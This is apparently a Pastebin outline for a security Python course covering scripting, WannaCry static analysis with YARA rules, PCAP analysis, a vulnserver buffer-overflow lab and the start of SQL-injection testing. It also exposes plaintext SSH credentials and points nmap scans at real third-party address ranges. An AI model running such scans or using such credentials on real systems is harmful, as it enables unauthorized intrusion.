Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- I often get asked how I did it. How did I learn Python without having been a computer science major, without having gone to college, and for that matter not actually learning to program until I had been in the field for 8 years. Here is what I did.
- Step 1: Watch and do the newboston Python video series twice
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
- Step 2: Watch and do the Google Python workshop twice
- https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
- Step 3: Download all of the Python tools from PacketStorm and analyze the source code
- https://packetstormsecurity.com/files/tags/python
- Here is the code from Packet Storm
- https://drive.google.com/file/d/1oWW2oDU1ZE7ulEop-Eye3lAWYf6hDAMx/view?usp=sharing
- I went through almost every single file and looked up the code that I didn't understand.
- I also asked programmers to help me understand the lines of code that didn't make sense.
- In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
- and explain the tool to me.
- Here is what I got out of doing that:
- https://drive.google.com/file/d/1bS-iFvA64cjls4A7MPHrhJEKZlCEqqMy/view?usp=sharing
- Distilled that into this:
- https://drive.google.com/file/d/1IiIaDGlN66Wcd3vwDuMs_ETHNeHp8O62/view?usp=sharing
- ##############################
- ----------- ############### # Day 1: Python Fundamentals # ############### -----------
- ##############################
- #####################
- # Installing Python #
- #####################
- Windows
- https://www.python.org/downloads/
- 32-Bit Version
- https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe
- 64-Bit Version
- https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe
- After you install Python in Windows the next thing you may want to install is IdleX:
- http://idlex.sourceforge.net/features.html
- ---------------------------Type This-----------------------------------
- Linux
- Debian/Ubuntu: sudo apt-get install -y python
- RHEL/CentOS/Fedora: sudo yum install -y python
- -----------------------------------------------------------------------
- After you install Python in Linux the next thing that you will need to do is install idle.
- ---------------------------Type This-----------------------------------
- sudo apt-get install -y idle
- -----------------------------------------------------------------------
- Open IDLE, and let's just dive right in.
- - I prefer to use Putty to SSH into my Linux host.
- - You can download Putty from here:
- - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- Here is the information to put into putty
- Host Name: 149.28.201.171
- protocol: ssh
- port: 22
- username: secureninja
- password: secureninjapython3!
- ####################################
- # Python Lesson 1: Simple Printing #
- ####################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> print ("Today we are learning Python.")
- >>> exit()
- -----------------------------------------------------------------------
- ############################################
- # Python Lesson 2: Simple Numbers and Math #
- ############################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 2+2
- >>> 6-3
- >>> 18/7
- >>> 18.0/7
- >>> 18.0/7.0
- >>> 18/7
- >>> 9%4
- 1
- >>> 8%4
- 0
- >>> 8.75%.5
- >>> 6.*7
- >>> 7*7*7
- >>> 7**3
- >>> 5**12
- >>> -5**4
- >>> exit()
- -----------------------------------------------------------------------
- ##############################
- # Python Lesson 3: Variables #
- ##############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> x=18
- >>> x+15
- >>> x**3
- >>> y=54
- >>> g=int(input("Enter number here: "))
- Enter number here: 43
- >>> g
- >>> g+32
- >>> g**3
- >>> exit()
- -----------------------------------------------------------------------
- ##########################################
- # Python Lesson 4: Modules and Functions #
- ##########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 5**4
- >>> pow(5,4)
- >>> abs(-18)
- >>> abs(5)
- >>> floor(18.7)
- >>> import math
- >>> math.floor(18.7)
- >>> math.ceil(18.7)
- >>> math.sqrt(81)
- >>> joe = math.sqrt
- >>> joe(9)
- >>> joe=math.floor
- >>> joe(19.8)
- >>> exit()
- -----------------------------------------------------------------------
- ############################
- # Python Lesson 5: Strings #
- ############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> "XSS"
- >>> 'SQLi'
- >>> "Joe's a python lover"
- >>> "Joe said \"InfoSec is fun\" to me"
- >>> a = "Joe"
- >>> b = "McCray"
- >>> a, b
- >>> a+b
- >>> exit()
- -----------------------------------------------------------------------
- #################################
- # Python Lesson 6: More Strings #
- #################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> num = 10
- >>> num + 2
- >>> "The number of open ports found on this system is ", num
- >>> num = str(18)
- >>> "There are ", num, " vulnerabilities found in this environment."
- >>> num2 = 46
- >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
- >>> exit()
- -----------------------------------------------------------------------
- ########################################
- # Python Lesson 7: Sequences and Lists #
- ########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks
- ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks[3]
- 'SQL Injection'
- >>> attacks[-2]
- 'Cross-Site Scripting'
- >>> exit()
- ------------------------------- Summary of fundamentals -------------------------------
- Joe rule #1 single quote, single quote, left arrow
- --------------------------------------------------
- '' <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
- "" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
- something() <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
- something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
- something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
- -- Now kick it up a notch
- [] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
- [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
- [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
- [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
- [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
- Joe rule #2 "Code can only do 3 things"
- --------------------------------------
- Process - read, write, math
- Decision - if/then
- Loop - for
- Joe rule #3 "Never more than 5-10"
- ---------------------------------
- -----5 lines of code----
- line 1 blah blah blah
- line 2 blah blah blah
- line 3 blah blah blah
- line 4 blah blah blah
- line 5 blah blah blah
- sales_tax = price * tax_rate
- 0.80 = 10 * 0.08
- -----5-10 lines of code---- = function
- price = 10
- def st():
- sales_tax = price * 0.08
- print(sales_tax)
- st(10) <---- how to run a function
- -----5-10 functions ---- = class "tax class"
- st()
- lt()
- pt()
- it()
- dt()
- tax.st()
- tax.lt()
- -----5-10 functions ---- = class "expense class"
- gas()
- elec()
- water()
- food()
- beer()
- expense.gas()
- -----5-10 classes ---- = module "finance module"
- import finance
- ------------------------------- Summary of fundamentals -------------------------------
- ##################################
- # Lesson 8: Intro to Log Analysis #
- ##################################
- Log into your Linux host then execute the following commands:
- -----------------------------------------------------------------------
- NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
- ---------------------------Type This-----------------------------------
- mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
- cd yourname
- wget http://pastebin.com/raw/85zZ5TZX
- mv 85zZ5TZX access_log
- cat access_log | grep 141.101.80.188
- cat access_log | grep 141.101.80.188 | wc -l
- cat access_log | grep 141.101.80.187
- cat access_log | grep 141.101.80.187 | wc -l
- cat access_log | grep 108.162.216.204
- cat access_log | grep 108.162.216.204 | wc -l
- cat access_log | grep 173.245.53.160
- cat access_log | grep 173.245.53.160 | wc -l
- ----------------------------------------------------------------------
- ###############################################################
- # Python Lesson 9: Use Python to read in a file line by line #
- ###############################################################
- ---------------------------Type This-----------------------------------
- nano logread1.py
- ---------------------------Paste This-----------------------------------
- ## Open the file with read only permit
- f = open('access_log', "r")
- ## use readlines to read all lines in the file
- ## The variable "lines" is a list containing all lines
- lines = f.readlines()
- print (lines)
- ## close the file after reading the lines.
- f.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 logread1.py
- ----------------------------------------------------------------------
- Google the following:
- - python difference between readlines and readline
- - python readlines and readline
- Here is one student's solution - can you please explain each line of this code to me?
- ---------------------------Type This-----------------------------------
- nano ip_search.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- f = open('access_log')
- strUsrinput = input("Enter IP Address: ")
- for line in iter(f):
- ip = line.split(" - ")[0]
- if ip == strUsrinput:
- print (line)
- f.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 ip_search.py
- ----------------------------------------------------------------------
- Working with another student after class we came up with another solution:
- ---------------------------Type This-----------------------------------
- nano ip_search2.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- # This line opens the log file
- f=open('access_log',"r")
- # This line takes each line in the log file and stores it as an element in the list
- lines = f.readlines()
- # This lines stores the IP that the user types as a var called userinput
- userinput = input("Enter the IP you want to search for: ")
- # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
- for ip in lines:
- if ip.find(userinput) != -1:
- print (ip)
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 ip_search2.py
- ----------------------------------------------------------------------
- ################################
- # Lesson 10: Parsing CSV Files #
- ################################
- Type the following commands:
- ---------------------------------------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- wget http://45.63.104.73/class_nessus.csv
- ----------------------------------------------------------------------
- Example 1 - Reading CSV files
- -----------------------------
- #To be able to read csv formated files, we will first have to import the
- #csv module.
- ---------------------------Type This-----------------------------------
- $ python3
- f = open('class_nessus.csv', 'r')
- for row in f:
- print (row)
- ----------------------------------------------------------------------
- Example 2 - Reading CSV files
- -----------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/env python3
- f = open('class_nessus.csv', 'r') # opens the csv file
- try:
- for row in f: # iterates the rows of the file in orders
- print (row) # prints each row
- finally:
- f.close() # closing
- ----------------------------------------------------------------------
- Ok, now let's run this thing.
- --------------------------Type This-----------------------------------
- $ python3 readcsv.py
- ----------------------------------------------------------------------
- Example 3 - - Reading CSV files
- -------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv2.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- # This program will then read it and displays its contents.
- import csv
- ifile = open('class_nessus.csv', "r")
- reader = csv.reader(ifile)
- rownum = 0
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- for col in row:
- print ('%-8s: %s' % (header[colnum], col))
- colnum += 1
- rownum += 1
- ifile.close()
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 readcsv2.py | less
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv3.py
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- import csv
- f = open('class_nessus.csv', 'r')
- try:
- rownum = 0
- reader = csv.reader(f)
- for row in reader:
- #Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high':
- print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
- rownum += 1
- finally:
- f.close()
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- $ python3 readcsv3.py | less
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano readcsv4.py
- -----------------------------------------------------------------------
- ---------------------------Paste This-----------------------------------
- #!/usr/bin/python3
- import csv
- f = open('class_nessus.csv', 'r')
- try:
- print ('/---------------------------------------------------/')
- rownum = 0
- hosts = {}
- reader = csv.reader(f)
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high' and row[4] not in hosts:
- hosts[row[4]] = row[4]
- print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
- rownum += 1
- finally:
- f.close()
- ----------------------------------------------------------------------
- $ python3 readcsv4.py | less
- ----------------------------------------------------------------------
- #######################################
- ----------- ############### # Day 2: Malware analysis with Python # ############### -----------
- #######################################
- Here is the information to put into putty
- Host Name: 149.28.201.171
- protocol: ssh
- port: 22
- username: secureninja
- password: secureninjapython3!
- mkdir ~/yourname
- cd ~/yourname
- wget http://45.63.104.73/wannacry.zip
- unzip wannacry.zip
- **** password is infected ***
- file wannacry.exe
- objdump -x wannacry.exe
- strings wannacry.exe
- strings --all wannacry.exe | head -n 6
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- -------------------------------------------------------------------------------------------
- Indicators of Compromise (IoC)
- -----------------------------
- 1. Modify the filesystem
- 2. Modify the registry - ADVAPI32.dll (persistance)
- 3. Modify processes/services
- 4. Connect to the network - WS2_32.dll
- if you can't detect a registry change across 5% of your network
- EDR Solution
- ------------
- 1. Static Analysis <----------------------------------------- Cloud based static analysis
- Learn everything I can without actually running the file
- - Modify FS - File integrity checker
- - Modify registry
- - Modify processes/services
- - Connect to the network
- 2. Dynamic Analysis
- Runs the file in a VM/Sandbox
- ################
- # The Scenario #
- ################
- You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
- The fastest thing you can do is perform static analysis.
- ###################
- # Static Analysis #
- ###################
- - After logging please open a terminal window and type the following commands:
- ---------------------------Type This-----------------------------------
- cd ~/yourname
- wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- wget http://45.63.104.73/wannacry.zip
- unzip wannacry.zip
- infected
- file wannacry.exe
- cp wannacry.exe malware.pdf
- file malware.pdf
- mv malware.pdf wannacry.exe
- hexdump -n 2 -C wannacry.exe
- -----------------------------------------------------------------------
- ***What is '4d 5a' or 'MZ'***
- Reference:
- http://www.garykessler.net/library/file_sigs.html
- ---------------------------Type This-----------------------------------
- objdump -x wannacry.exe
- strings wannacry.exe
- strings --all wannacry.exe | head -n 6
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- -----------------------------------------------------------------------
- ####################################
- # Tired of GREP - let's try Python #
- ####################################
- Decided to make my own script for this kind of stuff in the future. I
- Reference 1:
- http://45.63.104.73/analyse_malware.py
- This is a really good script for the basics of static analysis
- Reference:
- https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
- This is really good for showing some good signatures to add to the Python script
- Here is my own script using the signatures (started this yesterday, but still needs work):
- https://pastebin.com/guxzCBmP
- ---------------------------Type This-----------------------------------
- sudo apt install -y python-pefile
- infosecaddicts
- wget https://pastebin.com/raw/guxzCBmP
- mv guxzCBmP am.py
- nano am.py
- python am.py wannacry.exe
- -----------------------------------------------------------------------
- ##############
- # Yara Ninja #
- ##############
- Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
- Quick Google search for "wannacry ransomeware analysis"
- Reference
- https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- - Yara Rule -
- Strings:
- $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
- $s2 = “Wanna Decryptor” wide ascii nocase
- $s3 = “.wcry” wide ascii nocase
- $s4 = “WANNACRY” wide ascii nocase
- $s5 = “WANACRY!” wide ascii nocase
- $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
- Ok, let's look for the individual strings
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i ooops
- strings wannacry.exe | grep -i wanna
- strings wannacry.exe | grep -i wcry
- strings wannacry.exe | grep -i wannacry
- strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
- -----------------------------------------------------------------------
- Let's see if we can get yara working.
- ---------------------------Type This-----------------------------------
- nano wannacry_1.yar
- ---------------------------Paste This-----------------------------------
- rule wannacry_1 : ransom
- {
- meta:
- author = "Joshua Cannell"
- description = "WannaCry Ransomware strings"
- weight = 100
- date = "2017-05-12"
- strings:
- $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
- $s2 = "Wanna Decryptor" wide ascii nocase
- $s3 = ".wcry" wide ascii nocase
- $s4 = "WANNACRY" wide ascii nocase
- $s5 = "WANACRY!" wide ascii nocase
- $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
- condition:
- any of them
- }
- ----------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- yara wannacry_1.yar wannacry.exe
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano wannacry_2.yar
- ---------------------------Paste This-----------------------------------
- rule wannacry_2{
- meta:
- author = "Harold Ogden"
- description = "WannaCry Ransomware Strings"
- date = "2017-05-12"
- weight = 100
- strings:
- $string1 = "msg/m_bulgarian.wnry"
- $string2 = "msg/m_chinese (simplified).wnry"
- $string3 = "msg/m_chinese (traditional).wnry"
- $string4 = "msg/m_croatian.wnry"
- $string5 = "msg/m_czech.wnry"
- $string6 = "msg/m_danish.wnry"
- $string7 = "msg/m_dutch.wnry"
- $string8 = "msg/m_english.wnry"
- $string9 = "msg/m_filipino.wnry"
- $string10 = "msg/m_finnish.wnry"
- $string11 = "msg/m_french.wnry"
- $string12 = "msg/m_german.wnry"
- $string13 = "msg/m_greek.wnry"
- $string14 = "msg/m_indonesian.wnry"
- $string15 = "msg/m_italian.wnry"
- $string16 = "msg/m_japanese.wnry"
- $string17 = "msg/m_korean.wnry"
- $string18 = "msg/m_latvian.wnry"
- $string19 = "msg/m_norwegian.wnry"
- $string20 = "msg/m_polish.wnry"
- $string21 = "msg/m_portuguese.wnry"
- $string22 = "msg/m_romanian.wnry"
- $string23 = "msg/m_russian.wnry"
- $string24 = "msg/m_slovak.wnry"
- $string25 = "msg/m_spanish.wnry"
- $string26 = "msg/m_swedish.wnry"
- $string27 = "msg/m_turkish.wnry"
- $string28 = "msg/m_vietnamese.wnry"
- condition:
- any of ($string*)
- }
- ----------------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- yara wannacry_2.yar wannacry.exe
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- cd ~
- yara rules/index.yar wannacry.exe
- cd rules/
- ls
- cd malware/
- ls | grep -i ransom
- ls | grep -i rat
- ls | grep -i toolkit
- ls | grep -i apt
- cd ..
- cd capabilities/
- ls
- cat capabilities.yar
- cd ..
- cd cve_rules/
- ls
- cd ..
- ./index_gen.sh
- cd ..
- yara rules/index.yar wannacry.exe
- -----------------------------------------------------------------------
- ###########################
- # Intro to Threat Hunting #
- ###########################
- ##################################################################
- # Analyzing a PCAP Prads #
- # Note: run as regular user #
- ##################################################################
- ---------------------------Type this as a regular user----------------------------------
- cd ~/yourname
- mkdir pcap_analysis/
- cd pcap_analysis/
- mkdir prads
- cd prads
- wget http://45.63.104.73/suspicious-time.pcap
- prads -r suspicious-time.pcap -l prads-asset.log
- cat prads-asset.log | less
- cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
- cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
- cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
- -----------------------------------------------------------------------
- ##################################
- # PCAP Analysis with ChaosReader #
- # Note: run as regular user #
- ##################################
- ---------------------------Type this as a regular user----------------------------------
- cd ~/yourname
- cd pcap_analysis/
- mkdir chaos_reader/
- cd chaos_reader/
- wget http://45.63.104.73/suspicious-time.pcap
- wget http://45.63.104.73/chaosreader.pl
- perl chaosreader.pl suspicious-time.pcap
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
- for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
- python -m SimpleHTTPServer
- ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
- ------------------------------------------------------------------------
- #############################
- # PCAP Analysis with tshark #
- # Note: run as regular user #
- #############################
- ---------------------------Type this as a regular user---------------------------------
- cd ~/yourname
- mkdir pcap_analysis/
- cd pcap_analysis/
- mkdir tshark
- cd tshark
- wget http://45.63.104.73/suspicious-time.pcap
- tshark -i ens3 -r suspicious-time.pcap -qz io,phs
- tshark -r suspicious-time.pcap -qz ip_hosts,tree
- tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
- tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
- whois rapidshare.com.eyu32.ru
- whois sploitme.com.cn
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
- tshark -r suspicious-time.pcap -qz http_req,tree
- tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
- ------------------------------------------------------------------------
- #################################
- ----------- ############### # Day 3: Software Exploitation # ############### -----------
- #################################
- ########################
- # Scanning Methodology #
- ########################
- - Ping Sweep
- What's alive?
- ------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sP 157.166.226.*
- -------------------------------------------------------------------------------
- -if -SP yields no results try:
- ---------------------------Type this command-----------------------------------
- sudo nmap -sL 157.166.226.*
- -------------------------------------------------------------------------------
- -Look for hostnames:
- ---------------------------Type this command-----------------------------------
- sudo nmap -sL 157.166.226.* | grep cnn
- -------------------------------------------------------------------------------
- - Port Scan
- What's where?
- ------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sS 162.243.126.247
- -------------------------------------------------------------------------------
- - Bannergrab/Version Query
- What versions of software are running
- -------------------------------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sV 45.63.104.73
- -------------------------------------------------------------------------------
- - Vulnerability Research
- Lookup the banner versions for public exploits
- ----------------------------------------------
- https://www.exploit-db.com/search
- http://securityfocus.com/bid
- https://packetstormsecurity.com/files/tags/exploit/
- Network Penetration Testing Process (known vulnerabilities)
- -----------------------------------------------------------
- 1. Ping Sweep:
- The purpose of this step is to identify live hosts
- nmap -sP <ip-address/ip-range>
- 2. Port Scan
- Identify running services. We use the running services to map the network topology.
- nmap -sS <ip-address/ip-range>
- 3. Bannergrab
- Identify the version of version of software running on each port
- nmap -sV <ip-address/ip-range>
- 4. Vulnerability Research
- Use the software version number to research and determine if it is out of date (vulnerable).
- exploit-db.com/search
- Skill Level 1. Run the scanners
- -------------------------------
- Nexpose
- Qualys
- Retina
- Nessus known vulnerabilities
- OpenVas
- Foundscan
- GFI LanGuard
- NCircle
- Skill Level 2. Manual vulnerability validation (known vulnerabilities)
- -----------------------------------------------------------------------
- windows -> systeminfo
- Linux-> dpkg -l
- rpm -qa
- #####################################
- # Quick Stack Based Buffer Overflow #
- #####################################
- - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
- http://45.63.104.73/ExploitLab.zip
- http://45.63.104.73/nc-password-is-netcat.zip <--- save this file to your c:\windows\system32 directory
- - Extract the ExploitLab.zip file to your Desktop
- - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
- - Open a new command prompt and type:
- ---------------------------Type This-----------------------------------
- nc localhost 9999
- --------------------------------------------------------------------------
- - In the new command prompt window where you ran nc type:
- HELP
- - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
- - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- - Now double-click on 1-simplefuzzer.py
- - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
- - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
- - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
- - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
- - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
- - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
- - Calculate the distance to EIP by running script 3-3000chars.py
- - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
- 4-count-chars-to-EIP.py
- - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
- 5-2006char-eip-check.py
- - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
- 6-jmp-esp.py
- - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
- 7-first-exploit
- - In this script we actually do the stack overflow and launch a bind shell on port 4444
- 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- ------------------------------
- Skill Level 3. Identify unknown vulnerabilities
- -----------------------------------------------
- - App Type
- ------------
- Stand Alone Client Server Web App
- ***(vulnerserver.exe)***
- - Input TYpe
- -------------
- FIle logical network port Browser
- Keyboard
- Mouse
- ***(9999)***
- - Map & Fuzz app entry points:
- ------------------------------
- - Commands ***(commands)***
- - Methods
- - Verbs
- - functions
- - subroutines
- - controllers
- - Isolate the crash
- -------------------
- App seems to reliably crash at TRUN 2100
- - Calculate the distance to EIP
- -------------------------------
- Distance to EIP is 2006
- We found that EIP was populated with the value: 396F4338
- 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
- An online tool that we can use for this is:
- https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
- - Redirect Program Execution
- ----------------------------
- A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
- We learned that we control EAX and ESP in script 2.
- - Implement Shellcode
- ---------------------
- There are only 2 things that can go wrong with shellcode:
- - Not enough space
- - Bad characters
- #########################################
- # FreeFloat FTP Server Exploit Analysis #
- #########################################
- Analyze the following exploit code:
- https://www.exploit-db.com/exploits/15689/
- 1. What is the target platform that this exploit works against?
- 2. What is the variable name for the distance to EIP?
- 3. What is the actual distance to EIP in bytes?
- 4. Describe what is happening in the variable ‘junk2’
- Analysis of the training walk-through based on EID: 15689:
- http://45.63.104.73/ff.zip
- ff1.py
- 1. What does the sys module do?
- 2. What is sys.argv[1] and sys.argv[2]?
- 3. What application entry point is being attacked in this script?
- ff2.py
- 1. Explain what is happening in lines 18 - 20 doing.
- 2. What is pattern_create.rb doing and where can I find it?
- 3. Why can’t I just double click the file to run this script?
- ff3.py
- 1. Explain what is happening in lines 17 - to 25?
- 2. Explain what is happening in lines 30 - to 32?
- 3. Why is everything below line 35 commented out?
- ff4.py
- 1. Explain what is happening in lines 13 to 15.
- 2. Explain what is happening in line 19.
- 3. What is the total length of buff?
- ff5.py
- 1. Explain what is happening in line 15.
- 2. What is struct.pack?
- 3. How big is the shellcode in this script?
- ff6.py
- 1. What is the distance to EIP?
- 2. How big is the shellcode in this script?
- 3. What is the total byte length of the data being sent to this app?
- ff7.py
- 1. What is a tuple in python?
- 2. How big is the shellcode in this script?
- 3. Did your app crash in from this script?
- ff8.py
- 1. How big is the shellcode in this script?
- 2. What is try/except in python?
- 3. What is socket.SOCK_STREAM in Python?
- ff9.py
- 1. What is going on in lines 19 and 20?
- 2. What is the length of the NOPs?
- 3. From what DLL did the address of the JMP ESP come from?
- ff010.py
- 1. What is going on in lines 18 - 20?
- 2. What is going on in lines 29 - 32?
- 3. How would a stack adjustment help this script?
- ##########################
- ----------- ############### # Day 4: Web App Testing ############### -----------
- ##########################
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.63.104.73
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- https://phpapp.infosecaddicts.com/
- Clicking on the Acer Link:
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Type This-----------------------------------
